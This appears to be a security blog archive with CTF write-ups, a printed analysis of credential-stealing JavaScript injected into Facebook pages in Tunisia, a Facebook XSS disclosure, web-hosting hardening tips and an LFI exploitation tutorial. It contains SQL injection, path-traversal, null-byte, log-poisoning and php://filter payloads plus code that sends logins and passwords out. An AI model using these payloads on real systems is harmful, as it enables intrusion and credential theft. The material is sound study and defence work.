Webhacking and Security

Latest

Write-up – Secuinside 2012 – yhsj

Image

I just wanted to make a quick post about how I managed to break into the yhsj challenge we got at Secuinside CTF 2012 (that I’ve done with Big-Daddy) as I saw on multiple site quite complicated solutions… (example : http://tasteless.se/2012/06/secuinside-2012-prequals-ctf-web-writeup-beast-yhsj, btw I suggest you to take a look at their other solutions, some are quite interesting ;) )

Here’s the source part I’ll talk about:

$ck=@mysql_fetch_array(mysql_query(“select id from talk where id=’$_POST[jid]'”));

if($ck[0]) exit(“<meta http-equiv=refresh content=0;url=index.php>”);

$_POST[jpw]=md5(“zombie_$_POST[jpw]”);

$_POST[jid]=trim($_POST[jid]);

@mysql_query(“insert into talk values(‘$_POST[jid]’,’$_POST[jpw]’,’$_SERVER[REMOTE_ADDR]’)”);
echo(“<script>alert(‘Done!’);</script>”);

 If you look closely, the script is checking first if your user exist in the db, if not it insert it… What I used for my trick is that the script is doing trim(); after the check, just before the insert. Actually php’s trim() remove some character that are still detected by mysql, all I got to do is register an user:

%09admin : anypassword (%09 is a tabulation)

That’s it, it bypass the first check (%09admin don’t exist), php removes it, so it becomes admin, then includes it, problem solved in 5mn top chrono :)

RSSIL 2012 – Recapitulatif rapide des épreuves Web

This article is in french, sorry for the non-french speakers :).

J’ai participé il y a quelques heures au CTF organisé par ACISSI à RSSIL avec l’équipe Big-Daddy, il y avait une bonne diversité d’épreuves (70 épreuves quand même, GG!), voilà un récapitulatif/write-up très rapide des épreuves web, le web étant mon domaine de prédilection, excusez-nous du manque d’images, cet article s’addresse principalement aux participants qui étaient là bas au final.

Web 1-1
Sûrement une dont j’ai le moins de souvenir, une injection SQL simple il me semble, il suffisait après de se logguer et récupérer le flag.

Web 1-2
On a passé énormément de temps sur celui-là pour pas grand chose, on a essayé de déobfusquer le code javascript, on a cherché des logs, en fait il suffisait de trouver un dossier /backup, tout simplement…

Web 1-3
Une injection SQL dans l’url, c’était quelque chose genre frame.php?p=f18m, il fallait modifier l’integer à l’intérieur, type f18 UNION SELECT… — -m, récupérer le mot de passe de snake.

Web 1-4
Même type d’épreuve que la 1-2, du guessing, il y avait une page de login qui redirigeait vers valider.php, il fallait trouver valider.php~ qui donnait le code source avec la key.

Web 1-5
Une instruction nous disait de trouver le menu caché, une page était pas affichée, il suffisait d’incrementer ?p déjà, ?p=8 nous donnait une page de login, une injection SQL était possible également dans la deuxième variable qui s’occupait d’afficher un menu au bas de la page, &m=m0m1m2…, il suffisait de faire &m=m0 UNION SELECT 1,2,3,4,5 — – récupérer encore une fois le login et pass et se logguer pour trouver la key.

Web 2-1
Une blind SQL injection dans la partie de login qui nous permettait de récupérer le mot de passe de codej en md5, cracké facilement qui, de mémoire donnait quelque chose genre “bleu59″ qui était la clef pour valider.

Web 2-2
Un tableau avec des menus et colonnes aléatoires et des points de couleurs, il fallait donner la coordonnée exacte plusieurs fois en moins de x secondes. De notre côté on a codé un tool qui faisait un OCR sur les caractères puis choppait la bonne position de chaque points au final, code en python pour ses librairies qui s’y prêtent bien.

Web 2-3
Un captcha à valider 5x en 10 secondes, on a dû coder un tool en python pour le valider, ce tool lisait le captcha, le mettait en noir et blanc, tournait chaque caractères correctement, retirait le bruit et lisait les caractères un par un.

Web 2-4
Encore un captcha, cette fois plus complexe, beaucoup plus coloré, cependant que des chiffres… et 5x en 30 secondes, donc 6 secondes par validations? On a même pas codé de tool et on a fait ça à la main : ).

Web 2-5
C’était une page web, une injection SQL simple était présente dans la partie recherche du site, il nous permettait d’obtenir des logins et des mots de passes, les mots de passes étaient encryptés. La première étape était de deobfusquer le code javascript pour le comprendre un peu mieux et on s’est rendu compte qu’il suffisait juste de passer le pass crypté dans la fonction de cryptage pour le decrypter au final, donc on s’est loggué avec le login et le pass crypté, le javascript s’est occupé de nous donner le mot de passe d’origine qui était la key pour valider :)

Web 3-1
Un wordpress, c’est la seule épreuve qu’on a pas validée par manque de temps mais en gros il fallait passer le site sous scan grâce à WPscan, trouver un plugin qui se nomme “dbmanager” ou quelque chose du genre, accéder à wp-content/plugins/dbmanager/ et il y avait des backups dedans.

Web 3-2
Un site type officiel acceptait les cartes d’identités et lisait les informations qui étaient dessus, il suffisait juste de faire une injection SQL dans le nom, un simple PETE’ OR ‘1’=’1 a suffit à afficher toutes les requêtes, les premières entrées contenaient des logins avec des md5, certains étaient pas crackables, il y en a un finalement qui était possible, une fois loggué la clef était facilement trouvable.

Web 3-3
Une page était donnée avec comme indice “le temps est compté”, on a vite deviné que c’était une full blind sql injection, elle était dans le formulaire de contact sur la première page, on a vite fait de récupérer le login et mot de passe admin (admin/time) pour trouver le flag.

Web 3-4
Une page avec une inscription, une fois inscrit et loggué, le cookie de session était simplement du base64_encode(serialize()), on a vite fait passer notre utilisateur en tant qu’admin.

Web 3-5
Sûrement la plus drôle qu’on a résolu le plus rapidement étrangement, un seul indice “brainfuck”, en gros il y avait des liens de pages type ?p=2222222222247222265222241… on a dû trouver leur correspondance en brainfuck, par exemple 2 = +, etc… on s’est rendu compte après décryption du brainfuck obtenu que c’était une page php, il y avait une administration qui nous posait problème du coup on a include ../admin/.htpasswd, et bruteforce le mot de passe htpasswd, même si on pense qu’un ../admin/index.php/html aurait très bien fait l’affaire.

Petit mot de fin
Merci encore aux organisateurs de RSSIL, les épreuves n’ont pas été super compliquées en web mais il y avait de tout et ça couvrait pas mal de choses au final donc pourquoi pas, disons que j’ai été un peu déçu de ne rien avoir appris comparé à l’année passée… (PUT dans un serveur REST, injection nosql/mongodb, etc etc). L’organisation a été superbe, le net a marché 90% du temps, comparé à l’année passée où il bugguait 90% du temps :). On s’est bien amusés sur le web en tout cas! En espérant vous revoir une prochaine année, en attendant, je m’en vais dormir.

Rioru.

PS: Je m’occuperais peut-être de réécrire tout ça de façon plus clean quand j’aurais un peu de temps, le soucis c’est que je n’ai pas d’images du tout : / complètement oublié de prendre des screenshots.

Back in the business.

Hi, I’ve been quite quiet these days, I could even talk in years, it has been one year and a half since I didn’t post on this blog. As I’m planning to really get back seriously into security, I’m sure I’ll get some articles or write-up for you here. See you soon ;)

How does the Tunisian government steal passwords on Facebook.

Original post by @r00tBSD : http://www.r00ted.com/doku.php?id=injection_tunisie

You perhaps have followed the recent actualities about Tunisian Government stealing accounts on facebook (http://www.fastcompany.com/1715575/tunisian-government-hacking-facebook-gmail-anonymous). There’s how they do:

Here’s the web page of Facebook as seen when you’re connected in Tunisia

http://pastebin.com/WV0C9t0F

Let’s take a look at that javascript curious part..

<!--
function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
 var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 = frm.pass.value;
 var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");}
//-->

This code is injected by the ISP (Internet service provider) itself and appears in no others country, this JS code do a query to http://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD with the username and password in clear, the “wo0dh3ad” page of course don’t exist on facebook’s server, but the ISP could simply do an “grep wo0dh3ad /var/log/FAI.log” to get all the passwords of their subscribers in clear.

Some tricks dangerous for web hosting.

I’ll just list some things I know that can be dangerous for web hosting.

1. You’ve activated open_basedir but didn’t disabled system() & co functions.

Everybody know about the open_basedir, that php function that blocks you into one directory. With system functions it becomes really simple to bypass this security, you should be aware of this. For exemple, if you have an open_basedir in “/var/user1/public_html/”, with a system(“cd ../;ls”); php file inside that folder you can list what you shouldn’t be able to see if your user is able to.

2. Activate system() & co functions, but put a different user for every folder so they can’t move.

It worked only one time for me but It should be an interesting thing to know. Some times, web hosting put different user for earch folder in /home for example: “/home/user2/public_html/” has user2 for user, “/home/user123/public_html/” has user123, etc etc.. Now, don’t forget about the /tmp folder that is accessible most of the time. You put a file into that /tmp folder that will bind a port at the server that will lead to a shell/ssh access and execute it. You’re now inside /tmp, you don’t have your old rights anymore.

3. /tmp accessible and sessions of everybody readable.

In a past case, I got a php shell access to a server that host websites, but I couldn’t change my directory to see the one I looked for. I searched for the admin access that was on the same server. Now what I’ve done is simply to check the /tmp folder with a bot and look for every sessions, picked up one, and I made a cookie of that session and got access to the admin of another website.

Finally:

- Never let your web hosted user use system() & co functions. (They generally don’t need it.)
– Be aware of local root exploits and update your systems.
– Put open_basedir for every user, or a similar system.
– Don’t let people read other sessions.
And of course the general: “Firewall, change your ssh port or filter by ip, etc…”

[PHP] Rioru’s http method modification 0.1a

Simple code that will allow you to change your http method, GET to an unknown method “SER” (SER is for Seraphic Squad). The code isn’t optimized yet, but well, I’ll post another one one day. It’s useful when you got a website that make their htaccess with the LIMIT option.like:

AuthUserFile /.htpasswd
AuthName “Enter your password”
AuthType Basic
<Limit GET POST>
require valid-user
</Limit>

There’s the code: http://pastebin.com/GcVE6tf2

[19/03/10] XSS on Facebook

Today, we discovered a Cross Site Scripting, available since one of the last updates on the community website ‘facebook.com’.
It appears at the view of a name we search via the AJAX search function of Facebook.
There is a Proof of Concept:

Join this group:
http://www.facebook.com/group.php?gid=111123275568518
Then go and search it (with a keyword like “ss”, “gif” or “PoC”) at the upper part of the page. Let AJAX find the group for you.
There it is.

Seraphic Squad

We actually didn’t go further, but it seems to affect only the AJAX part of the search function.

Cordially,
Seraphic Squad.

PS: We had contacted Facebook but still didn’t got any answer.

EDIT [22/03]: Someone seems to have reported it on Zataz http://www.zataz.com/news/20037/facebook–oday–exploit.html

EDIT2: Flaw isn’t here anymore, good job fb ;)

LFI’s Exploitation Techniques.

What’s a Local File Inclusion?
A local file inclusion (usually called “LFI”) is a webhacking technique that allow simply to include files from a local location. That means that we can include a file that is outside of the web directory (if we got rights), and execute PHP code.

<?php include($_GET[‘page’]);?>

This code will search for the variable GET “Page”, include and execute the page specified by that GET variable. If you wan’t an example, you’ve surely already seen an website with something like “index.php?page=news.php” that’s it, that’s in a lot of case, an include. To start include file locally, we’ll use “../” that allow us to go to an directory upper than the actual one. We’ll try to include the file /etc/passwd, well, it’s not always readable but it’s a good start. We’ll use “../” to go to the root, then load /etc/passwd.

http://sitelambda.com/index.php?page=../../../../../../../../../../etc/passwd

I personally prefer using “./” before the page name to verify if there’s an exploitable local file inclusion (example: index.php?page=news.php >> index.php?page=./news.php if it works, mostly there’s an LFI) but it won’t always work. Note that /etc/password will only works on Linux system.

The null byte technique.
In most cases, the webmaster will not do an include like that, he’ll prefer add himself “.php” at the end of the inclusion. (Well, we can say that index.php?p=news is prettier than index.php?p=news.php) He’ll use a code like that:

<?php include($_GET[‘page’].”.php”);?>

So, this time, the php will include again a page with the GET variable page, but it’ll add .php at the end. To bypass this restriction, we’ll use the null byte. The principe of the null byte is that it is an line terminator char. It means that everything after the null byte will be deleted. To use it, you’ll have to got a website with magic quotes off. The character urlencoded is “%00″ (the browser will automatically translate it) so, for example, this time we’ll gotta use that:

http://sitelambda.com/index.php?page=../../../../../../../../../../etc/passwd%00

It’ll include /etc/passwd perfectly. The .php will be deleted by the null byte.


And now that I got a LFI, what should I do?
I actually know only 4 LFI exploitation technique, there they are:

The access.log

The principe is simple, we’ll include the log file that logs all the web connections to the server. In our case, it’ll be the access.log, but it can also be access_log, or any name in fact. (You’ll gotta see the apache/httpd configuration to know what’s the logfile name).

http://site.com/&lt;? phpinfo(); ?>

By the way, I think that the useragent is not urlencoded, so you can modify it and try with that.

The /proc/self/environ

You’ll gotta do something like that, then the server will log it inside the access_log, and when  you’ll include it, the code will be executed. Note that your browser automatically urlencode your special chars, so you’ll have to go to that url with a script that won’t auto-urlencode. If you go with your browser, it’ll be something like: “%3C? phpinfo(); ?%3E”.

It’s my favorite one. Try to include /proc/self/environ, you will see a list of actual processus variable. (Well, if you got rights to include that file, that’s not often the case) you’ll see something like that if you’re on Mozilla:

HTTP_USER_AGENT=Mozilla/5.0

Why it is interessant? Because you’ll can change your useragent to suit the php code you want. How? Go to “about:config” (type it in your Firefox Browser), create a new line, string, with these datas: “general.useragent.override” for the name, and “<? phpinfo(); ?>” for the value. (Note that there’s some tool that do it automatically, like useragent switcher). Reload the page, and you’ll see an phpinfo instead of “Mozilla/5.0″

The PHP Sessions Exploitation.

Another exploitation is the sessions exploitation. If your site got php sessions (phpsessid, etc..) you’ll can include them and if you can modify the datas, it’ll be easy to execute code. You’ll gotta include sess_[your phpsessid value]. Most of time, it is in /tmp, but you’ll can find it sometimes in /var/lib/php5/ also, etc.. The data stored in phpsessid should be everything (like a name at a register, an option you choose).

index.php?p=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7%00

I suggest you to surf a little before trying to include the phpsessid, touch at everything, modify options, etc..

The upload

We don’t often heard of it, but it’s the easiest technique. Just upload a file that contain php code, include it. Example: There’s an forum on the site you’re actually trying LFIs, upload an avatar with modified code that contain php (hexedit it, and modify only at the center of the datas, so the forum will still recognize it as an image). Found the right path, and include your avatar, tadaa, your code is executed.


Read a file with LFI

There’s a technique that will allow us to “read” a file with a LFI. (Interessant file to check should be config.php file, that normally, will only be executed, not shown). We’ll use PHP Filters to help us do it:

index.php?page=php://filter/read=convert.base64-encode/resource=config

This code will base64 the resource “config” (like if it was index.php?page=config, but with base64’d) with that, your code won’t be executed, and you’ll can base64_decode() it after to take the original config.php file. This method won’t need magic quotes but you’ll need to have a PHP Version higher or egal to PHP5.


Special cases

Sometimes, even if you can read the /etc/passwd, it is not an include. For example, when they’ll use readfile() in php, it’ll load the file, but php code won’t be executed. It’s a problem to execute php code, but well, it’ll give you an advantage on one point, you’ll can read configs file.

index.php?page=./forum/config

Then show the source of the page (CTRL+U) to have the code.


The “Does a folder exist” trick.

If you got a LFI, a good technique to know if a folder exist is simply to enter, then go out of it. Example:

index.php?page=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00


How to protect from LFIs?

Well, first, activate magic quotes, it’s not the “perfect solution”, but it’ll help. Then you should also activate open_basedir to only read into your web folder and /tmp, you should also do a function that parse the “/” , “.” and “%00″ char.
But well, the best option is the non dynamic include.

if ($_GET[‘page’] == “news”) {include(“news.php”);} else {include (“accueil.php”);}


Paper originally written by Rioru for SeraphicSquad.com (http://www.seraphicsquad.com/index.php?ss=tuto&id=1)

Hello World!

Hello and welcome in my web blog powered by wordpress.com.
I’ll make some updates about security news, tutorials & co. Specially on Web Hacking. I hope you’ll enjoy reading this blog.
And oh, sorry if I make some english mispell sometimes. I’m French.
; )

DDXhunter.

Follow

Get every new post delivered to your Inbox.